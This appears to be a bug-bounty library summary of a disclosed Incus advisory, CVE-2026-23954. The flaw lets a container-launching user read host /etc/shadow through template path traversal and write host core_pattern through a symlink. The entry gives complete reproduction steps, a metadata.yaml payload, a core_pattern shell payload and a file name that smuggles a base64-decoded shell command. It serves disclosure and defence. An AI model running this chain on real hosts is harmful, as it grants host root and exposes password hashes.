# Incus container image templating arbitrary host file read and write

Incus image templates lacked path validation, letting a container-launching user read/write arbitrary host files as root and achieve host command execution.

- Payout: Research
- Severity: high
- Program: Incus
- Found by: rmcnamara-snyk
- Disclosed: 2026-01-22
- CVE: CVE-2026-23954
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-7f67-crqm-jgh7
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-7f67-crqm-jgh7
- Tags: area:cloud domain:infra impact:data-leak impact:privesc impact:rce kind:research platform:ghsa sev:high tech:linux technique:chained vuln:path-traversal vuln:rce

**Target:** incusd image template handling (metadata.yaml templates source/target paths)
**Root cause:** Template source and target paths in metadata.yaml are neither checked for directory traversal nor opened safely against symlinks, so they resolve outside the container rootfs as root.
**Steps:**
1. Unpack a rootfs (e.g. alpine/edge) into `rootfs` and create `ln -s / rootfs/realroot`
2. Create `templates/core_pattern.tpl` containing `|/bin/sh -c "%E"`
3. Add `segfault.c` and executable `stage2` (`id > /template_arbitrary_write_cmd_exec_poc`) into rootfs
4. Write metadata.yaml with template `/shadow` -> `../../../../../../../../etc/shadow` and `/realroot/proc/sys/kernel/core_pattern` -> `core_pattern.tpl`
5. `tar cf poc.tar *` then `incus image import poc.tar --alias poc`
6. `incus launch poc poc --ephemeral; incus shell poc`
7. Observe `/shadow` in container holds host `/etc/shadow`
8. Compile segfault.c to filename `x$(echo L3Zhci9saWIvaW5jdXMvY29udGFpbmVycy8qL3Jvb3Rmcy9zdGFnZTIK|base64 -d|sh)` so `%E` executes stage2
9. Run `/x*`; host file `/template_arbitrary_write_cmd_exec_poc` created as root
**How found:** Code review of driver_lxc.go template handling (lines 7215/7294) noting neither source nor target paths were validated for traversal or symlinks.
**Exploitation:** Attacker with container-launch rights imports a crafted image; on start, template source traversal reads host /etc/shadow into the container, and a symlinked target writes attacker-controlled content to host /proc/sys/kernel/core_pattern. A crashing binary whose name encodes a base64 shell command is then executed by the host kernel core dump handler, running stage2 as host root.
**Escalation:** Chained host file read + arbitrary host file write into core_pattern overwrite to convert file write into host root command execution; also applicable to IncusOS with a modified stage2 writable dir.
**Insight:** When a privileged daemon copies files on behalf of an unprivileged user, audit both the read source and the write target: a symlink inside the user-controlled rootfs (e.g. `realroot -> /`) turns a benign-looking target path into a host-root write, and core_pattern is a reliable write-to-exec primitive.

## Proof of concept (copied exactly from the original report)

**metadata.yaml with traversal read and symlink write**

```
templates:
  /shadow:
    when:
      - start
    template: ../../../../../../../../etc/shadow

Additionally, the path of the target of the template is not checked or opened safely, and can therefore contain symbolic links pointing outside the container root filesystem. For example:

templates:
 /realroot/proc/sys/kernel/core_pattern:
    when:
      - start
    template: core_pattern.tpl
```

**core_pattern template payload**

```
Include a file `core_pattern.tpl` containing `|/bin/sh -c "%E"`
4. Additionally, add files segfault.c and stage2 to the root filesystem (listed below), setting stage2 executable (`chmod +x rootfs/stage2`
```

**segfault.c and stage2 exploit binaries**

```
int main() {
    int *p = 0;
    *p = 42;
    return 0;
}

stage2:
#!/bin/sh
id > /template_arbitrary_write_cmd_exec_poc
```

